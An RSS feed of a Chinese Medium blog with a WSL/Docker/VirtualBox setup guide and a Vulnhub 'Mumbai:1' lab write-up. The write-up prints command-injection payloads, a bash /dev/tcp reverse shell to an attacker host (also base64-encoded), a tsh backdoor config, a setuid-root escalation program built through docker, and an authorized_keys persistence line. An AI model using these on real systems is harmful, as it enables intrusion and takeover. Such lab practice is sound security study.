<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by awonwon on Medium]]></title>
        <description><![CDATA[Stories by awonwon on Medium]]></description>
        <link>https://medium.com/@awonwon?source=rss-29c0e7f915f0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ed42g3amv4az57xBqAuDbQ.jpeg</url>
            <title>Stories by awonwon on Medium</title>
            <link>https://medium.com/@awonwon?source=rss-29c0e7f915f0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 08:01:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@awonwon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[WSL, Docker, Virtual Box on Hyper-V]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/wsl-docker-virtual-box-on-hyper-v-ca77deebcf86?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca77deebcf86</guid>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[wsl]]></category>
            <category><![CDATA[virtualbox]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Sun, 23 Feb 2020 11:13:10 GMT</pubDate>
            <atom:updated>2020-06-09T18:25:12.653Z</atom:updated>
            <content:encoded><![CDATA[<p>身為 Windows 使用者，若有用到 Docker、Virtual Box 的話，一定都遇過開關 Hyper-V 功能的問題，必須選擇 Hyper-V 或 Virtual Box 虛擬化技術，或是在 Windows 更新後，發現 Virtual Box 無法啟動，原來是 Windows 這傢伙又開啟 Hyper-V 功能了，這虛擬化技術的整合性著實讓人困擾。那，到底有沒有辦法啟用 Hyper-V 時，跟 Docker、Virtual Box 和平共處呢？經過兩年嘗試了許久，筆者終於等到解法啦！（歡呼）</p><p>本文適合以下情境的讀者：</p><ul><li>想要同時使用 WSL 與 Virutal Box</li><li>想要在 WSL 與 Host 共用同一個 Docker</li><li>關閉 Hyper-V，使用 Docker 與 Virtual Box ，Docker 使用 VB 的 container，但在 Volume 掛載權限上有問題</li><li>純粹覺得 Windows 更新後一直把 Hyper-V 打開很擾人</li></ul><p>本文將著重 WSL 與 Virutal Box 和平共處的安裝流程，大綱如下：</p><p>一、啟用 Hyper-V<br>二、WSL 2 安裝<br>三、Docker 安裝<br>四、Virtual Box 安裝<br>五、VS Code 安裝</p><p>如果你使用的是 VMware，也可以參考<a href="https://blogs.vmware.com/workstation/2020/05/vmware-workstation-now-supports-hyper-v-mode.html">15.5 版本支援 Hyper-V 的文章</a></p><h3>一、啟用 Hyper-V</h3><p>至「應用程式與功能」的設定，點開「程式和功能」</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fr8BQYly1MJFcc72LXu1fw.png" /><figcaption>應用程式與功能的設定</figcaption></figure><p>開啟「Hyper-V」、「WSL」與「虛擬機器平台」 功能，並重新開機套用設定。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_mL8BV7eI-rZuW7xqbYAg.png" /></figure><h3>二、WSL 2 安裝</h3><p>WSL 2 需要 Windows OS 組件版本至少 18917 以上，如果沒辦法更新到此版號，則代表你需要設定能更新成 Preview 版本，才會有 18917 以上版本可更新。由於待會將安裝 Docker，筆者推薦更新至 19018 版</p><p>在「設定」&gt;「系統」的「關於」頁籤，可以看到目前的 OS 組建版本</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*5n0YD3PO4J6ukxJqKi7Jnw.png" /><figcaption>OS 組建版本號</figcaption></figure><p>若需要更新至此版本號，至「設定」&gt;「Windows 測試人員計畫」，加入測試人員計畫，並且選擇「緩慢」、「快速」，筆者第一次就勾個最快速的「發行預覽」，更新完再勾回「緩慢」版</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X1Eodfr259MCniSdGuQR6g.png" /></figure><p>更新至正確的 OS 組建版號後，請參照以下官方教學的步驟安裝 WSL 2：</p><pre><a href="https://docs.microsoft.com/zh-tw/windows/wsl/wsl2-install">https://docs.microsoft.com/zh-tw/windows/wsl/wsl2-install</a></pre><p>接著下載想要的 WSL 2 環境，筆者選擇 Ubuntu 18.04 LTS，畢竟有跟 Microsoft 合作，調性應該比較好吧 XD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*jVM6PqZEpECF5iCrXySGvA.png" /></figure><p>安裝好後，可以開啟命令提示字元，檢查你的 WSL image 是否使用 WSL 2 ，像下圖就可以看到 Ubuntu-18.04 使用的是 WSL 1，使用--set-version 將它轉換為 WSL 2。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*irVhJBdZWVrapNqag5wFOg.png" /></figure><p>這樣 WSL 設定這邊就完成了。</p><h3>二、Docker 安裝</h3><p>由於筆者希望 WSL 跟 Windows Host 中共用同一個 docker，操作同一個 container，在 WSL 2 是可以做到的，但流程是必須要先安裝好 WSL 2，才能再來安裝 Docker 喲！</p><p>安裝前，請先確認 Windows OS 組建版本是否更新至 19018 版。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LLgfzrGDs-52_nLecWk26g.png" /></figure><p>版本沒問題後，請參考以下官方教學的指示安裝特製版的 Docker：</p><pre><a href="https://docs.docker.com/docker-for-windows/wsl-tech-preview/">https://docs.docker.com/docker-for-windows/wsl-tech-preview/</a></pre><p>安裝程式，將會詢問你是否要啟用「 Windows Features」，請一定要記得勾選啟用。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CtYfi-F-_OPvzEFcdfq6Ig.png" /><figcaption>Docker 特製版的安裝程式選項</figcaption></figure><p>如果發現沒有這個選項，就代表安裝程式載錯了，不是 WSL 2 特製版。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1_cVABMfFgL5ukEOFawVLQ.png" /><figcaption>非特製版的安裝程式選項</figcaption></figure><p>安裝成功後，在 「General」頁籤可以看到「Enable the experimental WSL 2 based egine」Checkbox，請開啟。沒有看到的話，請開啟 WSL 2 的 command line，並重開 Docker 後檢查是否有出現。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbAifVh7N53Ml-QXYxDIlg.png" /></figure><p>設定成功後，它會在「Resources」看到「 WSL Integration」，選擇剛剛安裝好的 WSL image：「Ubuntu-18.04」</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0jrFfDmiYOv1w7r2XcdVw.png" /></figure><p>接著就可以在 WSL Ubuntu 與 Windows Host 的 terminal 試試看 docker ps 是否成功，而且 WSL 可以控制跟 Windows Host 一樣的 container 狀態。</p><p>如果沒問題，那恭喜你 Docker 設定沒問題囉！</p><p>只有在更新 Docker version 的時候需要特別注意，查看新版是不是有特地寫 known issue，不要一律都點更新，筆者目前仍維持在 2.6.0 的版本，畢竟特製版本還不太穩定。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*f7b4MydLwsuxrQnm8eIqiw.png" /></figure><h3>四、Virtual Box 安裝</h3><p>此處略過 Virtual Box 的安裝步驟，只需要設定 Container 預設底層虛擬技術換成 Hyper-V 即可，以下指令為將所有 VM 的 Container 全部設為 Hyper-V：</p><pre>1VBoxManage setextradata global &quot;VBoxInternal/NEM/UseRing0Runloop&quot; 0</pre><p>如果擔心的話，可以先設定幾個 VM 看看，將 Name 換成目標名稱：</p><pre>VBoxManage setextradata &quot;&lt;Name&gt;&quot; &quot;VBoxInternal/NEM/UseRing0Runloop&quot; 0</pre><p>想看更多討論，可以參考以下網址：</p><ul><li><a href="https://superuser.com/questions/1480214/virtualbox-6-doesnt-run-with-hyper-v-enabled-on-windows-10-1903">Virtualbox 6 doesn’t run with Hyper-V enabled on Windows 10 1903 — Super User</a></li></ul><p>需要注意的是，有時候 Windows 更新後，Virtual Box 的 Host-only 網卡會消失，再次重開機就好了。</p><h3>五、VS Code 安裝</h3><p>VS Code 也有得到 WSL 的支援，可以在 WSL 環境中，使用 Windows Host 的 VS Code 開啟編輯 WSL 的檔案。</p><p>在 Windows Host 安裝 VS Code 好後，在 WSL terminal 輸入 code . ，就會自動幫忙安裝 VS Code。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2zDmWdV6ZGRyJlwdbfJLA.png" /></figure><p>開啟後，會發現用 WSL 開的 VS Code Extension 跟 Windows Host 是不共用的，有 Local 與 WSL 兩個區塊</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*XbRLG1bOJpMYmFI6nVovRA.png" /></figure><p>可以在 Local 區塊，右上角有個下載 icon，點選後，它會把 Local 的 Extension 同步至 WSL。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*sJwfHFaDJ3p-K0t_t9L6UQ.png" /></figure><p>更多說明可以參考 VS Code 的官方教學：</p><pre><a href="https://code.visualstudio.com/remote-tutorials/wsl/run-in-wsl">https://code.visualstudio.com/remote-tutorials/wsl/run-in-wsl</a></pre><p>雖然 VS Code 整合的挺不錯，不過直接打 Code 指令後，沒問甚麼就幫忙下載了，也是有點抖抖的 QQ。</p><p>由於 WSL 儲存空間其實是一個 ext4.vhdx 的檔案並存在 Windows Host 中的，無法在 Host 的檔案總管中找到檔案，但可以在 WSL 中編輯 Windows Host 的檔案，只要在 WSL 中 cd 至 /mnt路徑下，就會是 Host 對應的硬碟路徑，如 /mnt/c/Users/awon/Desktop 。</p><p>以上就是讓 Hyper-V、Docker、WSL 2 與 Virtual Box 和平相處的過程啦～筆者沒有試驗過 VMWare ，無法做更多說明，有讀者願意分享也很歡迎哦！</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca77deebcf86" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/wsl-docker-virtual-box-on-hyper-v-ca77deebcf86">WSL, Docker, Virtual Box on Hyper-V</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mumbai-1 Vulnhub Write-up]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/mumbai-1-vulnhub-write-up-d769085dfa4?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d769085dfa4</guid>
            <category><![CDATA[penetration-test]]></category>
            <category><![CDATA[mumbai]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Sun, 19 Jan 2020 10:34:16 GMT</pubDate>
            <atom:updated>2020-01-26T11:31:25.010Z</atom:updated>
            <content:encoded><![CDATA[<p>此文為 Vulnhub 中的 <a href="https://www.vulnhub.com/entry/mumbai-1,372/">Mumbai:1</a> 的 Write-up，邊看<a href="https://www.hackingarticles.in/mumbai1-vulnhub-walkthrough/">這篇文章</a>[8]邊做練習，以下四階段撰寫滲透過程：</p><ol><li>Recon</li><li>Exploiting</li><li>Post Exploitation</li><li>Privilege Escalation</li></ol><h3>一、Recon</h3><blockquote><strong>nmap</strong></blockquote><p>筆者使用 Virtual Box 設定此 VM 為 NAT Network，預設會在 10.10.10.0/24 的網段，使用 nmap 找一下目標 IP 與有開放的 Port：</p><pre>$ nmap -sT 10.10.10.0/24</pre><p>掃 port 的選項，使用 -sT ，常見的選項有以下：</p><ul><li>sT：最基本的 TCP 三方交握完成才算確定 port 有開 <a href="https://nmap.org/book/scan-methods-connect-scan.html">[1]</a></li><li>Pn：適合用在有防火牆境況下，主機的 port 可能不會回應 ping 的訊息，但其實是有開的，譬如 VM 使用 Host-Only Network 的時候，使用 sT 是找不到的 windows host 的 port ，但其實因為防火牆問題，改用 Pn 就可以掃到</li><li>vv：顯示詳細的訊息</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*07FkeeE74nQHA5UJoYd1YQ.png" /></figure><p>由 namp 結果可以知道 10.10.10.6 是目標主機，開了主要的 21, 22, 80, 8000 port，一個個來檢查看看</p><p><strong>WEB 80 Port</strong></p><pre>$ curl &#39;http://10.10.10.6&#39; | html2text | less</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bVrq5Epd5z0o8UqdMwvcaA.png" /></figure><p>嗯嗯，看起來公事中。</p><p><strong>WEB 8000 Port</strong></p><pre>$ curl &#39;http://10.10.10.6:8000&#39; | html2text | less</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*4fihDqqPg6ifeYBI_AV3cg.png" /></figure><p>嗯嗯，這個也在公事中。</p><p><strong>3. FTP 22 Port</strong></p><pre>$ ftp 10.10.10.6</pre><p>如果沒有密碼的話，可以使用 anonymous 帳號，看看訪客是否可登入</p><pre>Name (10.10.10.6:awon): anonymous<br>password: no</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*Il_PqH1wImaJjUTP7yDi-Q.png" /></figure><p>如果登入後下指令遇到以下 bind 的問題：</p><pre>ftp&gt; ls<br>500 Illegal PORT command.<br>ftp: bind: Address already in use</pre><p>可以 FTP 連線時加上 -p使用 passive 被動模式試試看，FTP 的連線分為主動式與被動式，一般來說都是主動式連線，可能是因為當時筆者 Client 端防火牆的問題，導致需要被動模式，而被動式是由 Client 端向 Server 端發起連線，FTP Server 預設會隨機個 Port 建立被動式連線，所以也會影響 Server 端的防火牆唷～ [2]</p><p>好，FTP 上可以看到唯一的檔案是 Note，載下來看一下內容</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riiYCR_HT8ECu_9b5Ed6SA.png" /></figure><p>猜測大概是他會把 Web Server 虛擬化，放到 Docker Container，權限設定要注意等，但是這些比對 Web Port 看起來都還沒完成。</p><blockquote><strong>Dirb</strong></blockquote><pre>$ dirb &#39;http://10.10.10.6&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*Zi14FCg2AF_ykFWcdjyIcw.png" /></figure><pre>$ dirb &#39;http://10.10.10.6:8000&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*4V7cWSQMa4HJi06O2g2xgQ.png" /></figure><p>既然是 php 網站的話，可以針對 .php 結尾的網址嘗試，順便下了 txt 、 py 的副檔名檢查看看</p><pre>dirb &#39;http://10.10.10.6&#39; -X .php,.txt,.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*aICwOWa6nGFojwT2SvY_Fg.png" /></figure><pre>dirb &#39;http://10.10.10.6:8000&#39; -X .php,.txt,.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*5hgTmj39LSeIHkTsY2EIPw.png" /><figcaption>遮起來的是後來放的 web shell，所以可以忽略</figcaption></figure><p>掃過之後，我們可以看得出以下兩個站的狀況：</p><ol><li>80 port 看起來有 wordpress</li><li>8000 port 有 .bashrc 、 .bash_history 、 keywords.py 、 test.php</li></ol><h3>二、Exploiting</h3><p>看來可以先從 8000 port 的站來找漏洞，檢查一下這四個檔案：</p><ol><li>bash 相關的設定檔沒有甚麼可利用的地方</li><li>test.php 看起來是需要輸入網址的 API</li></ol><pre>$ curl -vvv &#39;http://10.10.10.6:8000/test.php&#39; -w &quot;\n&quot;<br>#=&gt; w option 是希望在 output 最尾端加上 \n，才不會跟下一列 input 擠在一起</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*EUqKsQQBWJ_JtQa7d8GuRA.png" /></figure><p>3. keywords.py</p><p>直接顯示檔案原始碼，載回來看一下</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/59c2982e37330b297a4f6c4308b2d349/href">https://medium.com/media/59c2982e37330b297a4f6c4308b2d349/href</a></iframe><p>從 main 進入點來看，猜測應該是一隻爬蟲程式，輸入 query 參數，就會爬對應的 html</p><pre>parser = argparse.ArgumentParser()</pre><pre>parser.add_argument(&quot;--query&quot;, help=&quot;Site to crawl for keywords.&quot;, type=str)</pre><pre>args = parser.parse_args()</pre><pre>url = args.query</pre><p>猜測整個站的流程應該是：</p><ol><li>訪問 test.php，傳入目標網址</li><li>test.php 執行 keywords.py，將目標網址帶給爬蟲程式，分析關鍵字</li><li>keywords.py 回傳結果，直接輸出在網頁上</li></ol><p>那就來試試看 test.php 吧！</p><p>帶上範例說明的網址：</p><pre>curl -vvv -X POST &#39;http://10.10.10.6:8000/test.php&#39; -w &quot;\n&quot; --data-urlencode &#39;query=https://caffeinatedengineers.com&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ilAyM38iNdW047dcsoUa_w.png" /></figure><p>API 有正常執行，那 php 通常要如何去執行程式，最簡單的是使用 exec(&quot;your_command&quot;) 來達成，所以猜想也許是有 Command Injection 的問題，加個分號檢查看看：</p><pre>curl -vvv -X POST &#39;http://10.10.10.6:8000/test.php&#39; -w &quot;\n&quot; --data-urlencode &#39;query=https://caffeinatedengineers.com;ls&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFRnLtI3v3IgPhXM_BSnBg.png" /><figcaption>遮起來的是後來放的 web shell，所以可以忽略</figcaption></figure><p>哦哦出現了！很棒！看起來甚麼字串都沒有過濾，來看一下 API原始碼：</p><pre>curl -vvv -X POST &#39;http://10.10.10.6:8000/test.php&#39; -w &quot;\n&quot; --data-urlencode &#39;query=;cat test.php&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k44NA8WaYIeGpXrgOTd0AA.png" /></figure><p>此 Command Injection 不是使用 exec() ，而是使用 passthru() <a href="https://www.php.net/manual/en/function.passthru.php">[3]</a>，執行指令並把 stdout 完整輸出。</p><p>確定漏洞限制後（剛好其實沒什麼限制）接著要來拿 Reverse shell 。</p><h3>三、Post Exploitation</h3><p>接下來要製造一個 Shell，連到自己機器上更易於操作，基本上流程就是開啟 socket 連線，開好對應的 port，讓受害主機連上或自行連上受害主機，筆者嘗試了兩種做法：</p><ol><li>使用 nc 接收 socket 連線</li><li>使用 tsh <a href="https://github.com/orangetw/tsh">(tiny shell) [4]</a></li></ol><p>比較推薦使用 tsh ，除了加密連線外，可以設定從內部主動連線出來並設定 retry，譬如有防火牆 rule 有限定 in 的規則，就可以試試看，更詳細的設定可以參考<a href="https://www.freebuf.com/sectool/138350.html">此篇文章[5]</a>，筆者會先使用 nc 取得 Reverse shell，再將 tsh 放入主機中。</p><p>用 socket 連線到目標的方式有很多種，可以參考<a href="https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/">此篇 cheatsheet[6]</a>，如果可以用 python、php、perl 等其他語言也是可以的，以下使用 bash 指令建立，並指定預設要連上的 ip 與 port</p><pre>bash -i &gt;&amp; /dev/tcp/10.10.10.5/9870 0&gt;&amp;1</pre><p>題外話：既然接收端也使用 nc ，為甚麼不直接使用 nc 連線到自己的 shell 呢？像是這樣：</p><pre>nc -v 10.10.10.6 9870 -e /bin/bash</pre><p>原因是不是每個 nc 的發行版本都有 e option，大多數是沒有的。</p><p>接著把剛剛的 bash 指令寫成 shellscript 並丟到主機中</p><p>bash 指令經過 base64 編碼，而這是為了避免 shell 跳脫字元與 WAF 的問題，寫檔時，再將 base64 string decode 後，將內容輸出至 test2.sh 中。</p><pre>$ echo &#39;bash -i &gt;&amp; /dev/tcp/10.10.10.5/9870 0&gt;&amp;1&#39; | base64<br>YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC41Lzk4NzAgMD4mMQo=</pre><pre>$ curl -X POST &#39;http://10.10.10.6:8000/test.php&#39; -w &quot;\n&quot; --data-urlencode &#39;query=;echo &quot;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC41Lzk4NzAgMD4mMQo=&quot; | base64 -d &gt; test2.sh;cat test2.sh&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q6XKicnR6OrYsBXhJ4xxfA.png" /></figure><p>確定 shell script 內容沒問題後，就嘗試來連連看吧！</p><p>控制方先開啟自己的 port 並 listen 等待：</p><pre>$ nc -lvp 9870<br>listening on [any] 9870 ...</pre><p>目標主機上則是使用 bash 執行剛剛的 shell script 檔</p><pre>curl &#39;<a href="http://10.10.10.6:8000/shell.php?a=/bin/bash">http://10.10.10.6:8000/shell.php?a=/bin/bash</a> test.sh&#39;</pre><p>太好了～控制方就連上囉！</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZtnF2TE1lty5npAgSjOgg.png" /></figure><p>再來將 tsh clone 下來，編輯 tsh.h 檔案中的 secret ，註解特定設定自動反連的機制，因為筆者沒用到，但如果連不到目標 IP，需要從內部直連外部IP，就可以使用</p><pre>#ifndef _TSH_H</pre><pre>#define _TSH_H</pre><pre>char *secret = &quot;secret&quot;;</pre><pre>#define SERVER_PORT 7788</pre><pre>#define FAKE_PROC_NAME &quot;/bin/bash&quot;</pre><pre>//#define CONNECT_BACK_HOST  &quot;10.10.10.5&quot;</pre><pre>//#define CONNECT_BACK_DELAY 30</pre><pre>#define GET_FILE 1</pre><pre>#define PUT_FILE 2</pre><pre>#define RUNSHELL 3</pre><pre>#endif /* tsh.h */</pre><p>接著編譯專案，產生出兩個主要檔案：</p><ol><li>tshd：受害目標使用的連線 binary</li><li>tsh： client 連線的 binary</li></ol><p>編譯好後，把 tshd 傳到受害目標主機上，可以在目標主機上使用 wget 抓檔案或是使用 nc 傳送檔案，以下使用 nc 把 tshd 傳上去，中斷結束後，檢查一下檔案大小是否正確</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*ugKAZruURUaaGg71djSMAA.png" /></figure><p>現在要在目標主機上跑 tshd ，不過一開始這個檔案是沒有執行權限的，給他一個權限跑起來！！動起來！！</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*63Wmf4DPvq7QFUM5sL1WAQ.png" /></figure><p>題外話：一直要加上 /bin 很煩的話，可以改個 PATH 變數，這樣就不用多打字了</p><pre>PATH=/bin:/usr/bin:$PATH</pre><p>看起來有 bash shell 在背景執行了～</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YG_1gWnoBMLaEV3gOyI_RA.png" /></figure><p>控制端連線成功</p><pre>$ ./tsh 10.10.10.6</pre><p>取得 reverse shell 後，來慢慢逛系統囉！</p><h3><strong>四、Privilege Escalation</strong></h3><p>關於提權的部分，檢查的方向如下：</p><ol><li>先從有沒有可以提權的檔案或指令</li><li>可否製造出提權的檔案</li><li>最後不得已才是用 os exploit，萬一用不好，系統炸掉太明顯了 QQ</li></ol><p>檢查目前的身分權限與群組</p><pre>$ id<br>$ sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZpSNX5G93F6f86um1hDvw.png" /></figure><p>確定 docker 可以用，另外尋找有 SUID 的檔案<a href="http://linux.vbird.org/linux_basic/0220filemanager.php#suid_sgid_sbit">[7]</a>，此種檔案可以在執行時使用 ROOT 權限，檢查是否有合適能拿來利用提權的檔案。</p><pre>$ find / -perm -u=s 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*GQqc0JsZGQGnFYbicwBpQw.png" /></figure><p>嗯...看起來沒什麼可以用的，那就利用 docker 來自己寫個提權檔案吧！</p><p>在 tmp 資料夾，建立一個提權的 c program，並編譯後執行看看沒問題就可以到下一步了：</p><pre>$ cat &lt;&lt;&quot;EOF&quot; &gt; p.c<br>#include&lt;stdio.h&gt;<br>#include&lt;sys/types.h&gt;</pre><pre>int main(void) {<br> setuid(0);<br> seteuid(0);<br> system(&quot;/bin/bash&quot;);<br> return 0;<br>}<br>EOF</pre><pre>$ gcc p.c -o rs<br>$ ./rs</pre><p>會先做也是因為這個 docker image 內並沒有 gcc，所以要在 host 先編譯好，再去啟動docker container。</p><p>看一下目前主機上有哪些 docker image 或 container：</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spYXhtPf0edguIepSpxTVw.png" /></figure><p>已經有現成的 ubuntu image了，這樣也不需要 pull 新的 image</p><pre>docker run  -it  -v /tmp/vic:/tmp ubuntu:14.04 bash</pre><p>啟動一個 ubuntu 的 container，並且將 host 的 tmp/vic 資料夾掛載到 container 的 tmp 資料夾，加上 it 代表使用 bash 進去 container，預設進去都是 root 身分的權限</p><p>確認掛載的資料夾有剛剛編譯好的檔案：</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*3xbma6sJ0ACUuc6ODG1aQA.png" /></figure><p>提權的最後一哩路，來吧！！將檔案擁有者設定為 root 且別人有 set uid 的權限</p><pre>$ chown root:root rs<br>$ chmod +s rs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*79nRs1eQADBlI2FgkjNwVw.png" /></figure><p>在 host 看到的檔案狀態：</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*n81cwnZTt-ECmjboW-auuw.png" /></figure><p>執行 rs binary 後：</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*aPm8SVApmBP75G5euKrWfw.png" /></figure><p>ROOT 就拿到啦！</p><p>另外還有不同的提權方法：</p><ol><li>覆寫 /etc/crontab，指定 root 帳號執行想要的指令</li><li>覆寫 root 的 .ssh/authorized_keys ，將自己的 public key 加進去</li></ol><pre>echo &quot;ssh-rsa $public_key $public_key_name&quot; &gt;&gt;&gt; $HOME/.ssh/authorized_keys</pre><h3><strong>參考</strong></h3><ul><li><a href="https://nmap.org/book/scan-methods-connect-scan.html">[1]</a> <a href="https://nmap.org/book/scan-methods-connect-scan.html">https://nmap.org/book/scan-methods-connect-scan.html</a></li><li>[2] <a href="http://linux.vbird.org/linux_server/0410vsftpd.php#theory_pasv">http://linux.vbird.org/linux_server/0410vsftpd.php#theory_pasv</a></li><li><a href="https://www.php.net/manual/en/function.passthru.php">[3]</a> <a href="https://www.php.net/manual/en/function.passthru.php">https://www.php.net/manual/en/function.passthru.php</a></li><li>[4] <a href="https://github.com/orangetw/tsh">https://github.com/orangetw/tsh</a></li><li><a href="https://www.freebuf.com/sectool/138350.html">[5] https://www.freebuf.com/sectool/138350.html</a></li><li>[6] <a href="https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/">https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/</a></li><li>[7] <a href="http://linux.vbird.org/linux_basic/0220filemanager.php#suid_sgid_sbit">http://linux.vbird.org/linux_basic/0220filemanager.php#suid_sgid_sbit</a></li><li>[8] <a href="https://www.hackingarticles.in/mumbai1-vulnhub-walkthrough/">https://www.hackingarticles.in/mumbai1-vulnhub-walkthrough/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d769085dfa4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/mumbai-1-vulnhub-write-up-d769085dfa4">Mumbai-1 Vulnhub Write-up</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setup MySQL Client Config: 使用設定檔管理多個 MySQL 連線設定]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/setup-mysql-client-config-%E4%BD%BF%E7%94%A8%E8%A8%AD%E5%AE%9A%E6%AA%94%E7%AE%A1%E7%90%86%E5%A4%9A%E5%80%8B-mysql-%E9%80%A3%E7%B7%9A%E8%A8%AD%E5%AE%9A-f7bead9bebbc?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7bead9bebbc</guid>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[mysqlclient]]></category>
            <category><![CDATA[clients]]></category>
            <category><![CDATA[config]]></category>
            <category><![CDATA[connection]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Sun, 19 May 2019 10:40:55 GMT</pubDate>
            <atom:updated>2019-05-22T03:31:25.744Z</atom:updated>
